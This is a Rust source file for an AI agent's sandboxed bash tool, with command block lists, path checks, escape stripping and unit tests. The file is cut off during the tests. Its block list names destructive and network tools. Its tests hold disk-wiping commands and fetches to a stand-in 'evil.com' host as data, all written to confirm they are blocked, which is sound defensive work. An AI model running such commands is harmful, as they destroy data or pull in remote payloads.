Skip to main content

zeph_tools/
shell.rs

1// SPDX-FileCopyrightText: 2026 Andrei G <bug-ops>
2// SPDX-License-Identifier: MIT OR Apache-2.0
3
4use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use crate::audit::{AuditEntry, AuditLogger, AuditResult};
14use crate::config::ShellConfig;
15use crate::executor::{
16    FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
17};
18use crate::filter::{OutputFilterRegistry, sanitize_output};
19use crate::permissions::{PermissionAction, PermissionPolicy};
20
21const DEFAULT_BLOCKED: &[&str] = &[
22    "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
23    "reboot", "halt",
24];
25
26const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
27
28#[derive(Deserialize, JsonSchema)]
29pub(crate) struct BashParams {
30    /// The bash command to execute
31    command: String,
32}
33
34/// Bash block extraction and execution via `tokio::process::Command`.
35#[derive(Debug)]
36pub struct ShellExecutor {
37    timeout: Duration,
38    blocked_commands: Vec<String>,
39    allowed_paths: Vec<PathBuf>,
40    confirm_patterns: Vec<String>,
41    audit_logger: Option<AuditLogger>,
42    tool_event_tx: Option<ToolEventTx>,
43    permission_policy: Option<PermissionPolicy>,
44    output_filter_registry: Option<OutputFilterRegistry>,
45    cancel_token: Option<CancellationToken>,
46    skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
47}
48
49impl ShellExecutor {
50    #[must_use]
51    pub fn new(config: &ShellConfig) -> Self {
52        let allowed: Vec<String> = config
53            .allowed_commands
54            .iter()
55            .map(|s| s.to_lowercase())
56            .collect();
57
58        let mut blocked: Vec<String> = DEFAULT_BLOCKED
59            .iter()
60            .filter(|s| !allowed.contains(&s.to_lowercase()))
61            .map(|s| (*s).to_owned())
62            .collect();
63        blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
64
65        if !config.allow_network {
66            for cmd in NETWORK_COMMANDS {
67                let lower = cmd.to_lowercase();
68                if !blocked.contains(&lower) {
69                    blocked.push(lower);
70                }
71            }
72        }
73
74        blocked.sort();
75        blocked.dedup();
76
77        let allowed_paths = if config.allowed_paths.is_empty() {
78            vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
79        } else {
80            config.allowed_paths.iter().map(PathBuf::from).collect()
81        };
82
83        Self {
84            timeout: Duration::from_secs(config.timeout),
85            blocked_commands: blocked,
86            allowed_paths,
87            confirm_patterns: config.confirm_patterns.clone(),
88            audit_logger: None,
89            tool_event_tx: None,
90            permission_policy: None,
91            output_filter_registry: None,
92            cancel_token: None,
93            skill_env: std::sync::RwLock::new(None),
94        }
95    }
96
97    /// Set environment variables to inject when executing the active skill's bash blocks.
98    pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
99        match self.skill_env.write() {
100            Ok(mut guard) => *guard = env,
101            Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
102        }
103    }
104
105    #[must_use]
106    pub fn with_audit(mut self, logger: AuditLogger) -> Self {
107        self.audit_logger = Some(logger);
108        self
109    }
110
111    #[must_use]
112    pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
113        self.tool_event_tx = Some(tx);
114        self
115    }
116
117    #[must_use]
118    pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
119        self.permission_policy = Some(policy);
120        self
121    }
122
123    #[must_use]
124    pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
125        self.cancel_token = Some(token);
126        self
127    }
128
129    #[must_use]
130    pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
131        self.output_filter_registry = Some(registry);
132        self
133    }
134
135    /// Execute a bash block bypassing the confirmation check (called after user confirms).
136    ///
137    /// # Errors
138    ///
139    /// Returns `ToolError` on blocked commands, sandbox violations, or execution failures.
140    pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
141        self.execute_inner(response, true).await
142    }
143
144    #[allow(clippy::too_many_lines)]
145    async fn execute_inner(
146        &self,
147        response: &str,
148        skip_confirm: bool,
149    ) -> Result<Option<ToolOutput>, ToolError> {
150        let blocks = extract_bash_blocks(response);
151        if blocks.is_empty() {
152            return Ok(None);
153        }
154
155        let mut outputs = Vec::with_capacity(blocks.len());
156        let mut cumulative_filter_stats: Option<FilterStats> = None;
157        #[allow(clippy::cast_possible_truncation)]
158        let blocks_executed = blocks.len() as u32;
159
160        for block in &blocks {
161            if let Some(ref policy) = self.permission_policy {
162                match policy.check("bash", block) {
163                    PermissionAction::Deny => {
164                        self.log_audit(
165                            block,
166                            AuditResult::Blocked {
167                                reason: "denied by permission policy".to_owned(),
168                            },
169                            0,
170                        )
171                        .await;
172                        return Err(ToolError::Blocked {
173                            command: (*block).to_owned(),
174                        });
175                    }
176                    PermissionAction::Ask if !skip_confirm => {
177                        return Err(ToolError::ConfirmationRequired {
178                            command: (*block).to_owned(),
179                        });
180                    }
181                    _ => {}
182                }
183            } else {
184                if let Some(blocked) = self.find_blocked_command(block) {
185                    self.log_audit(
186                        block,
187                        AuditResult::Blocked {
188                            reason: format!("blocked command: {blocked}"),
189                        },
190                        0,
191                    )
192                    .await;
193                    return Err(ToolError::Blocked {
194                        command: blocked.to_owned(),
195                    });
196                }
197
198                if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
199                    return Err(ToolError::ConfirmationRequired {
200                        command: pattern.to_owned(),
201                    });
202                }
203            }
204
205            self.validate_sandbox(block)?;
206
207            if let Some(ref tx) = self.tool_event_tx {
208                let _ = tx.send(ToolEvent::Started {
209                    tool_name: "bash".to_owned(),
210                    command: (*block).to_owned(),
211                });
212            }
213
214            let start = Instant::now();
215            let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
216                self.skill_env.read().ok().and_then(|g| g.clone());
217            let (out, exit_code) = execute_bash(
218                block,
219                self.timeout,
220                self.tool_event_tx.as_ref(),
221                self.cancel_token.as_ref(),
222                skill_env_snapshot.as_ref(),
223            )
224            .await;
225            if exit_code == 130
226                && self
227                    .cancel_token
228                    .as_ref()
229                    .is_some_and(CancellationToken::is_cancelled)
230            {
231                return Err(ToolError::Cancelled);
232            }
233            #[allow(clippy::cast_possible_truncation)]
234            let duration_ms = start.elapsed().as_millis() as u64;
235
236            let result = if out.contains("[error]") {
237                AuditResult::Error {
238                    message: out.clone(),
239                }
240            } else if out.contains("timed out") {
241                AuditResult::Timeout
242            } else {
243                AuditResult::Success
244            };
245            self.log_audit(block, result, duration_ms).await;
246
247            let sanitized = sanitize_output(&out);
248            let mut per_block_stats: Option<FilterStats> = None;
249            let filtered = if let Some(ref registry) = self.output_filter_registry {
250                match registry.apply(block, &sanitized, exit_code) {
251                    Some(fr) => {
252                        tracing::debug!(
253                            command = block,
254                            raw = fr.raw_chars,
255                            filtered = fr.filtered_chars,
256                            savings_pct = fr.savings_pct(),
257                            "output filter applied"
258                        );
259                        let block_fs = FilterStats {
260                            raw_chars: fr.raw_chars,
261                            filtered_chars: fr.filtered_chars,
262                            raw_lines: fr.raw_lines,
263                            filtered_lines: fr.filtered_lines,
264                            confidence: Some(fr.confidence),
265                            command: Some((*block).to_owned()),
266                            kept_lines: fr.kept_lines.clone(),
267                        };
268                        let stats =
269                            cumulative_filter_stats.get_or_insert_with(FilterStats::default);
270                        stats.raw_chars += fr.raw_chars;
271                        stats.filtered_chars += fr.filtered_chars;
272                        stats.raw_lines += fr.raw_lines;
273                        stats.filtered_lines += fr.filtered_lines;
274                        stats.confidence = Some(match (stats.confidence, fr.confidence) {
275                            (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
276                            (None, cur) => cur,
277                        });
278                        if stats.command.is_none() {
279                            stats.command = Some((*block).to_owned());
280                        }
281                        if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
282                            stats.kept_lines.clone_from(&fr.kept_lines);
283                        }
284                        per_block_stats = Some(block_fs);
285                        fr.output
286                    }
287                    None => sanitized,
288                }
289            } else {
290                sanitized
291            };
292
293            if let Some(ref tx) = self.tool_event_tx {
294                let _ = tx.send(ToolEvent::Completed {
295                    tool_name: "bash".to_owned(),
296                    command: (*block).to_owned(),
297                    output: out.clone(),
298                    success: !out.contains("[error]"),
299                    filter_stats: per_block_stats,
300                    diff: None,
301                });
302            }
303            outputs.push(format!("$ {block}\n{filtered}"));
304        }
305
306        Ok(Some(ToolOutput {
307            tool_name: "bash".to_owned(),
308            summary: outputs.join("\n\n"),
309            blocks_executed,
310            filter_stats: cumulative_filter_stats,
311            diff: None,
312            streamed: self.tool_event_tx.is_some(),
313        }))
314    }
315
316    fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
317        let cwd = std::env::current_dir().unwrap_or_default();
318
319        for token in extract_paths(code) {
320            if has_traversal(&token) {
321                return Err(ToolError::SandboxViolation { path: token });
322            }
323
324            let path = if token.starts_with('/') {
325                PathBuf::from(&token)
326            } else {
327                cwd.join(&token)
328            };
329            let canonical = path
330                .canonicalize()
331                .or_else(|_| std::path::absolute(&path))
332                .unwrap_or(path);
333            if !self
334                .allowed_paths
335                .iter()
336                .any(|allowed| canonical.starts_with(allowed))
337            {
338                return Err(ToolError::SandboxViolation {
339                    path: canonical.display().to_string(),
340                });
341            }
342        }
343        Ok(())
344    }
345
346    fn find_blocked_command(&self, code: &str) -> Option<&str> {
347        let cleaned = strip_shell_escapes(&code.to_lowercase());
348        let commands = tokenize_commands(&cleaned);
349        for blocked in &self.blocked_commands {
350            for cmd_tokens in &commands {
351                if tokens_match_pattern(cmd_tokens, blocked) {
352                    return Some(blocked.as_str());
353                }
354            }
355        }
356        None
357    }
358
359    fn find_confirm_command(&self, code: &str) -> Option<&str> {
360        let normalized = code.to_lowercase();
361        for pattern in &self.confirm_patterns {
362            if normalized.contains(pattern.as_str()) {
363                return Some(pattern.as_str());
364            }
365        }
366        None
367    }
368
369    async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
370        if let Some(ref logger) = self.audit_logger {
371            let entry = AuditEntry {
372                timestamp: chrono_now(),
373                tool: "shell".into(),
374                command: command.into(),
375                result,
376                duration_ms,
377            };
378            logger.log(&entry).await;
379        }
380    }
381}
382
383impl ToolExecutor for ShellExecutor {
384    async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
385        self.execute_inner(response, false).await
386    }
387
388    fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
389        use crate::registry::{InvocationHint, ToolDef};
390        vec![ToolDef {
391            id: "bash",
392            description: "Execute a shell command",
393            schema: schemars::schema_for!(BashParams),
394            invocation: InvocationHint::FencedBlock("bash"),
395        }]
396    }
397
398    async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
399        if call.tool_id != "bash" {
400            return Ok(None);
401        }
402        let params: BashParams = crate::executor::deserialize_params(&call.params)?;
403        if params.command.is_empty() {
404            return Ok(None);
405        }
406        let command = &params.command;
407        // Wrap as a fenced block so execute_inner can extract and run it
408        let synthetic = format!("```bash\n{command}\n```");
409        self.execute_inner(&synthetic, false).await
410    }
411
412    fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
413        ShellExecutor::set_skill_env(self, env);
414    }
415}
416
417/// Strip shell escape sequences that could bypass command detection.
418/// Handles: backslash insertion (`su\do` -> `sudo`), `$'\xNN'` hex and `$'\NNN'` octal
419/// escapes, adjacent quoted segments (`"su""do"` -> `sudo`), backslash-newline continuations.
420fn strip_shell_escapes(input: &str) -> String {
421    let mut out = String::with_capacity(input.len());
422    let bytes = input.as_bytes();
423    let mut i = 0;
424    while i < bytes.len() {
425        // $'...' ANSI-C quoting: decode \xNN hex and \NNN octal escapes
426        if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
427            let mut j = i + 2; // points after $'
428            let mut decoded = String::new();
429            let mut valid = false;
430            while j < bytes.len() && bytes[j] != b'\'' {
431                if bytes[j] == b'\\' && j + 1 < bytes.len() {
432                    let next = bytes[j + 1];
433                    if next == b'x' && j + 3 < bytes.len() {
434                        // \xNN hex escape
435                        let hi = (bytes[j + 2] as char).to_digit(16);
436                        let lo = (bytes[j + 3] as char).to_digit(16);
437                        if let (Some(h), Some(l)) = (hi, lo) {
438                            #[allow(clippy::cast_possible_truncation)]
439                            let byte = ((h << 4) | l) as u8;
440                            decoded.push(byte as char);
441                            j += 4;
442                            valid = true;
443                            continue;
444                        }
445                    } else if next.is_ascii_digit() {
446                        // \NNN octal escape (up to 3 digits)
447                        let mut val = u32::from(next - b'0');
448                        let mut len = 2; // consumed \N so far
449                        if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
450                            val = val * 8 + u32::from(bytes[j + 2] - b'0');
451                            len = 3;
452                            if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
453                                val = val * 8 + u32::from(bytes[j + 3] - b'0');
454                                len = 4;
455                            }
456                        }
457                        #[allow(clippy::cast_possible_truncation)]
458                        decoded.push((val & 0xFF) as u8 as char);
459                        j += len;
460                        valid = true;
461                        continue;
462                    }
463                    // other \X escape: emit X literally
464                    decoded.push(next as char);
465                    j += 2;
466                } else {
467                    decoded.push(bytes[j] as char);
468                    j += 1;
469                }
470            }
471            if j < bytes.len() && bytes[j] == b'\'' && valid {
472                out.push_str(&decoded);
473                i = j + 1;
474                continue;
475            }
476            // not a decodable $'...' sequence — fall through to handle as regular chars
477        }
478        // backslash-newline continuation: remove both
479        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
480            i += 2;
481            continue;
482        }
483        // intra-word backslash: skip the backslash, keep next char (e.g. su\do -> sudo)
484        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
485            i += 1;
486            out.push(bytes[i] as char);
487            i += 1;
488            continue;
489        }
490        // quoted segment stripping: collapse adjacent quoted segments
491        if bytes[i] == b'"' || bytes[i] == b'\'' {
492            let quote = bytes[i];
493            i += 1;
494            while i < bytes.len() && bytes[i] != quote {
495                out.push(bytes[i] as char);
496                i += 1;
497            }
498            if i < bytes.len() {
499                i += 1; // skip closing quote
500            }
501            continue;
502        }
503        out.push(bytes[i] as char);
504        i += 1;
505    }
506    out
507}
508
509/// Split normalized shell code into sub-commands on `|`, `||`, `&&`, `;`, `\n`.
510/// Returns list of sub-commands, each as `Vec<String>` of tokens.
511fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
512    // Replace two-char operators with a single separator, then split on single-char separators
513    let replaced = normalized.replace("||", "\n").replace("&&", "\n");
514    replaced
515        .split([';', '|', '\n'])
516        .map(|seg| {
517            seg.split_whitespace()
518                .map(str::to_owned)
519                .collect::<Vec<String>>()
520        })
521        .filter(|tokens| !tokens.is_empty())
522        .collect()
523}
524
525/// Transparent prefix commands that invoke the next argument as a command.
526/// Skipped when determining the "real" command name being invoked.
527const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
528
529/// Return the basename of a token (last path component after '/').
530fn cmd_basename(tok: &str) -> &str {
531    tok.rsplit('/').next().unwrap_or(tok)
532}
533
534/// Check if the first tokens of a sub-command match a blocked pattern.
535/// Handles:
536/// - Transparent prefix commands (`env sudo rm` -> checks `sudo`)
537/// - Absolute paths (`/usr/bin/sudo rm` -> basename `sudo` is checked)
538/// - Dot-suffixed variants (`mkfs` matches `mkfs.ext4`)
539/// - Multi-word patterns (`rm -rf /` joined prefix check)
540fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
541    if tokens.is_empty() || pattern.is_empty() {
542        return false;
543    }
544    let pattern = pattern.trim();
545    let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
546    if pattern_tokens.is_empty() {
547        return false;
548    }
549
550    // Skip transparent prefix tokens to reach the real command
551    let start = tokens
552        .iter()
553        .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
554        .unwrap_or(0);
555    let effective = &tokens[start..];
556    if effective.is_empty() {
557        return false;
558    }
559
560    if pattern_tokens.len() == 1 {
561        let pat = pattern_tokens[0];
562        let base = cmd_basename(&effective[0]);
563        // Exact match OR dot-suffixed variant (e.g. "mkfs" matches "mkfs.ext4")
564        base == pat || base.starts_with(&format!("{pat}."))
565    } else {
566        // Multi-word: join first N tokens (using basename for first) and check prefix
567        let n = pattern_tokens.len().min(effective.len());
568        let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
569        parts.extend(effective[1..n].iter().map(String::as_str));
570        let joined = parts.join(" ");
571        if joined.starts_with(pattern) {
572            return true;
573        }
574        if effective.len() > n {
575            let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
576            parts2.extend(effective[1..=n].iter().map(String::as_str));
577            parts2.join(" ").starts_with(pattern)
578        } else {
579            false
580        }
581    }
582}
583
584fn extract_paths(code: &str) -> Vec<String> {
585    let mut result = Vec::new();
586
587    // Tokenize respecting single/double quotes
588    let mut tokens: Vec<String> = Vec::new();
589    let mut current = String::new();
590    let mut chars = code.chars().peekable();
591    while let Some(c) = chars.next() {
592        match c {
593            '"' | '\'' => {
594                let quote = c;
595                while let Some(&nc) = chars.peek() {
596                    if nc == quote {
597                        chars.next();
598                        break;
599                    }
600                    current.push(chars.next().unwrap());
601                }
602            }
603            c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
604                if !current.is_empty() {
605                    tokens.push(std::mem::take(&mut current));
606                }
607            }
608            _ => current.push(c),
609        }
610    }
611    if !current.is_empty() {
612        tokens.push(current);
613    }
614
615    for token in tokens {
616        let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
617        if trimmed.is_empty() {
618            continue;
619        }
620        if trimmed.starts_with('/')
621            || trimmed.starts_with("./")
622            || trimmed.starts_with("../")
623            || trimmed == ".."
624        {
625            result.push(trimmed);
626        }
627    }
628    result
629}
630
631fn has_traversal(path: &str) -> bool {
632    path.split('/').any(|seg| seg == "..")
633}
634
635fn extract_bash_blocks(text: &str) -> Vec<&str> {
636    crate::executor::extract_fenced_blocks(text, "bash")
637}
638
639fn chrono_now() -> String {
640    use std::time::{SystemTime, UNIX_EPOCH};
641    let secs = SystemTime::now()
642        .duration_since(UNIX_EPOCH)
643        .unwrap_or_default()
644        .as_secs();
645    format!("{secs}")
646}
647
648/// Kill a child process and its descendants.
649/// On unix, sends SIGKILL to child processes via `pkill -KILL -P <pid>` before
650/// killing the parent, preventing zombie subprocesses.
651async fn kill_process_tree(child: &mut tokio::process::Child) {
652    #[cfg(unix)]
653    if let Some(pid) = child.id() {
654        let _ = Command::new("pkill")
655            .args(["-KILL", "-P", &pid.to_string()])
656            .status()
657            .await;
658    }
659    let _ = child.kill().await;
660}
661
662async fn execute_bash(
663    code: &str,
664    timeout: Duration,
665    event_tx: Option<&ToolEventTx>,
666    cancel_token: Option<&CancellationToken>,
667    extra_env: Option<&std::collections::HashMap<String, String>>,
668) -> (String, i32) {
669    use std::process::Stdio;
670    use tokio::io::{AsyncBufReadExt, BufReader};
671
672    let timeout_secs = timeout.as_secs();
673
674    let mut cmd = Command::new("bash");
675    cmd.arg("-c")
676        .arg(code)
677        .stdout(Stdio::piped())
678        .stderr(Stdio::piped());
679    if let Some(env) = extra_env {
680        cmd.envs(env);
681    }
682    let child_result = cmd.spawn();
683
684    let mut child = match child_result {
685        Ok(c) => c,
686        Err(e) => return (format!("[error] {e}"), 1),
687    };
688
689    let stdout = child.stdout.take().expect("stdout piped");
690    let stderr = child.stderr.take().expect("stderr piped");
691
692    let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
693
694    let stdout_tx = line_tx.clone();
695    tokio::spawn(async move {
696        let mut reader = BufReader::new(stdout);
697        let mut buf = String::new();
698        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
699            let _ = stdout_tx.send(buf.clone()).await;
700            buf.clear();
701        }
702    });
703
704    tokio::spawn(async move {
705        let mut reader = BufReader::new(stderr);
706        let mut buf = String::new();
707        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
708            let _ = line_tx.send(format!("[stderr] {buf}")).await;
709            buf.clear();
710        }
711    });
712
713    let mut combined = String::new();
714    let deadline = tokio::time::Instant::now() + timeout;
715
716    loop {
717        tokio::select! {
718            line = line_rx.recv() => {
719                match line {
720                    Some(chunk) => {
721                        if let Some(tx) = event_tx {
722                            let _ = tx.send(ToolEvent::OutputChunk {
723                                tool_name: "bash".to_owned(),
724                                command: code.to_owned(),
725                                chunk: chunk.clone(),
726                            });
727                        }
728                        combined.push_str(&chunk);
729                    }
730                    None => break,
731                }
732            }
733            () = tokio::time::sleep_until(deadline) => {
734                kill_process_tree(&mut child).await;
735                return (format!("[error] command timed out after {timeout_secs}s"), 1);
736            }
737            () = async {
738                match cancel_token {
739                    Some(t) => t.cancelled().await,
740                    None => std::future::pending().await,
741                }
742            } => {
743                kill_process_tree(&mut child).await;
744                return ("[cancelled] operation aborted".to_string(), 130);
745            }
746        }
747    }
748
749    let status = child.wait().await;
750    let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
751
752    if combined.is_empty() {
753        ("(no output)".to_string(), exit_code)
754    } else {
755        (combined, exit_code)
756    }
757}
758
759#[cfg(test)]
760mod tests {
761    use super::*;
762
763    fn default_config() -> ShellConfig {
764        ShellConfig {
765            timeout: 30,
766            blocked_commands: Vec::new(),
767            allowed_commands: Vec::new(),
768            allowed_paths: Vec::new(),
769            allow_network: true,
770            confirm_patterns: Vec::new(),
771        }
772    }
773
774    fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
775        ShellConfig {
776            allowed_paths,
777            ..default_config()
778        }
779    }
780
781    #[test]
782    fn extract_single_bash_block() {
783        let text = "Here is code:\n```bash\necho hello\n```\nDone.";
784        let blocks = extract_bash_blocks(text);
785        assert_eq!(blocks, vec!["echo hello"]);
786    }
787
788    #[test]
789    fn extract_multiple_bash_blocks() {
790        let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
791        let blocks = extract_bash_blocks(text);
792        assert_eq!(blocks, vec!["ls", "pwd"]);
793    }
794
795    #[test]
796    fn ignore_non_bash_blocks() {
797        let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
798        let blocks = extract_bash_blocks(text);
799        assert_eq!(blocks, vec!["echo hi"]);
800    }
801
802    #[test]
803    fn no_blocks_returns_none() {
804        let text = "Just plain text, no code blocks.";
805        let blocks = extract_bash_blocks(text);
806        assert!(blocks.is_empty());
807    }
808
809    #[test]
810    fn unclosed_block_ignored() {
811        let text = "```bash\necho hello";
812        let blocks = extract_bash_blocks(text);
813        assert!(blocks.is_empty());
814    }
815
816    #[tokio::test]
817    #[cfg(not(target_os = "windows"))]
818    async fn execute_simple_command() {
819        let (result, code) =
820            execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
821        assert!(result.contains("hello"));
822        assert_eq!(code, 0);
823    }
824
825    #[tokio::test]
826    #[cfg(not(target_os = "windows"))]
827    async fn execute_stderr_output() {
828        let (result, _) =
829            execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
830        assert!(result.contains("[stderr]"));
831        assert!(result.contains("err"));
832    }
833
834    #[tokio::test]
835    #[cfg(not(target_os = "windows"))]
836    async fn execute_stdout_and_stderr_combined() {
837        let (result, _) = execute_bash(
838            "echo out && echo err >&2",
839            Duration::from_secs(30),
840            None,
841            None,
842            None,
843        )
844        .await;
845        assert!(result.contains("out"));
846        assert!(result.contains("[stderr]"));
847        assert!(result.contains("err"));
848        assert!(result.contains('\n'));
849    }
850
851    #[tokio::test]
852    #[cfg(not(target_os = "windows"))]
853    async fn execute_empty_output() {
854        let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
855        assert_eq!(result, "(no output)");
856        assert_eq!(code, 0);
857    }
858
859    #[tokio::test]
860    async fn blocked_command_rejected() {
861        let config = ShellConfig {
862            blocked_commands: vec!["rm -rf /".to_owned()],
863            ..default_config()
864        };
865        let executor = ShellExecutor::new(&config);
866        let response = "Run:\n```bash\nrm -rf /\n```";
867        let result = executor.execute(response).await;
868        assert!(matches!(result, Err(ToolError::Blocked { .. })));
869    }
870
871    #[tokio::test]
872    #[cfg(not(target_os = "windows"))]
873    async fn timeout_enforced() {
874        let config = ShellConfig {
875            timeout: 1,
876            ..default_config()
877        };
878        let executor = ShellExecutor::new(&config);
879        let response = "Run:\n```bash\nsleep 60\n```";
880        let result = executor.execute(response).await;
881        assert!(result.is_ok());
882        let output = result.unwrap().unwrap();
883        assert!(output.summary.contains("timed out"));
884    }
885
886    #[tokio::test]
887    async fn execute_no_blocks_returns_none() {
888        let executor = ShellExecutor::new(&default_config());
889        let result = executor.execute("plain text, no blocks").await;
890        assert!(result.is_ok());
891        assert!(result.unwrap().is_none());
892    }
893
894    #[tokio::test]
895    async fn execute_multiple_blocks_counted() {
896        let executor = ShellExecutor::new(&default_config());
897        let response = "```bash\necho one\n```\n```bash\necho two\n```";
898        let result = executor.execute(response).await;
899        let output = result.unwrap().unwrap();
900        assert_eq!(output.blocks_executed, 2);
901        assert!(output.summary.contains("one"));
902        assert!(output.summary.contains("two"));
903    }
904
905    // --- command filtering tests ---
906
907    #[test]
908    fn default_blocked_always_active() {
909        let executor = ShellExecutor::new(&default_config());
910        assert!(executor.find_blocked_command("rm -rf /").is_some());
911        assert!(executor.find_blocked_command("sudo apt install").is_some());
912        assert!(
913            executor
914                .find_blocked_command("mkfs.ext4 /dev/sda")
915                .is_some()
916        );
917        assert!(
918            executor
919                .find_blocked_command("dd if=/dev/zero of=disk")
920                .is_some()
921        );
922    }
923
924    #[test]
925    fn user_blocked_additive() {
926        let config = ShellConfig {
927            blocked_commands: vec!["custom-danger".to_owned()],
928            ..default_config()
929        };
930        let executor = ShellExecutor::new(&config);
931        assert!(executor.find_blocked_command("sudo rm").is_some());
932        assert!(
933            executor
934                .find_blocked_command("custom-danger script")
935                .is_some()
936        );
937    }
938
939    #[test]
940    fn blocked_prefix_match() {
941        let executor = ShellExecutor::new(&default_config());
942        assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
943    }
944
945    #[test]
946    fn blocked_infix_match() {
947        let executor = ShellExecutor::new(&default_config());
948        assert!(
949            executor
950                .find_blocked_command("echo hello && sudo rm")
951                .is_some()
952        );
953    }
954
955    #[test]
956    fn blocked_case_insensitive() {
957        let executor = ShellExecutor::new(&default_config());
958        assert!(executor.find_blocked_command("SUDO apt install").is_some());
959        assert!(executor.find_blocked_command("Sudo apt install").is_some());
960        assert!(executor.find_blocked_command("SuDo apt install").is_some());
961        assert!(
962            executor
963                .find_blocked_command("MKFS.ext4 /dev/sda")
964                .is_some()
965        );
966        assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
967        assert!(executor.find_blocked_command("RM -RF /").is_some());
968    }
969
970    #[test]
971    fn safe_command_passes() {
972        let executor = ShellExecutor::new(&default_config());
973        assert!(executor.find_blocked_command("echo hello").is_none());
974        assert!(executor.find_blocked_command("ls -la").is_none());
975        assert!(executor.find_blocked_command("cat file.txt").is_none());
976        assert!(executor.find_blocked_command("cargo build").is_none());
977    }
978
979    #[test]
980    fn partial_match_accepted_tradeoff() {
981        let executor = ShellExecutor::new(&default_config());
982        // "sudoku" is not the "sudo" command — word-boundary matching prevents false positive
983        assert!(executor.find_blocked_command("sudoku").is_none());
984    }
985
986    #[test]
987    fn multiline_command_blocked() {
988        let executor = ShellExecutor::new(&default_config());
989        assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
990    }
991
992    #[test]
993    fn dd_pattern_blocks_dd_if() {
994        let executor = ShellExecutor::new(&default_config());
995        assert!(
996            executor
997                .find_blocked_command("dd if=/dev/zero of=/dev/sda")
998                .is_some()
999        );
1000    }
1001
1002    #[test]
1003    fn mkfs_pattern_blocks_variants() {
1004        let executor = ShellExecutor::new(&default_config());
1005        assert!(
1006            executor
1007                .find_blocked_command("mkfs.ext4 /dev/sda")
1008                .is_some()
1009        );
1010        assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1011    }
1012
1013    #[test]
1014    fn empty_command_not_blocked() {
1015        let executor = ShellExecutor::new(&default_config());
1016        assert!(executor.find_blocked_command("").is_none());
1017    }
1018
1019    #[test]
1020    fn duplicate_patterns_deduped() {
1021        let config = ShellConfig {
1022            blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1023            ..default_config()
1024        };
1025        let executor = ShellExecutor::new(&config);
1026        let count = executor
1027            .blocked_commands
1028            .iter()
1029            .filter(|c| c.as_str() == "sudo")
1030            .count();
1031        assert_eq!(count, 1);
1032    }
1033
1034    #[tokio::test]
1035    async fn execute_default_blocked_returns_error() {
1036        let executor = ShellExecutor::new(&default_config());
1037        let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1038        let result = executor.execute(response).await;
1039        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1040    }
1041
1042    #[tokio::test]
1043    async fn execute_case_insensitive_blocked() {
1044        let executor = ShellExecutor::new(&default_config());
1045        let response = "Run:\n```bash\nSUDO apt install foo\n```";
1046        let result = executor.execute(response).await;
1047        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1048    }
1049
1050    // --- network exfiltration patterns ---
1051
1052    #[test]
1053    fn network_exfiltration_blocked() {
1054        let executor = ShellExecutor::new(&default_config());
1055        assert!(
1056            executor
1057                .find_blocked_command("curl https://evil.com")
1058                .is_some()
1059        );
1060        assert!(
1061            executor
1062                .find_blocked_command("wget http://evil.com/payload")
1063                .is_some()
1064        );
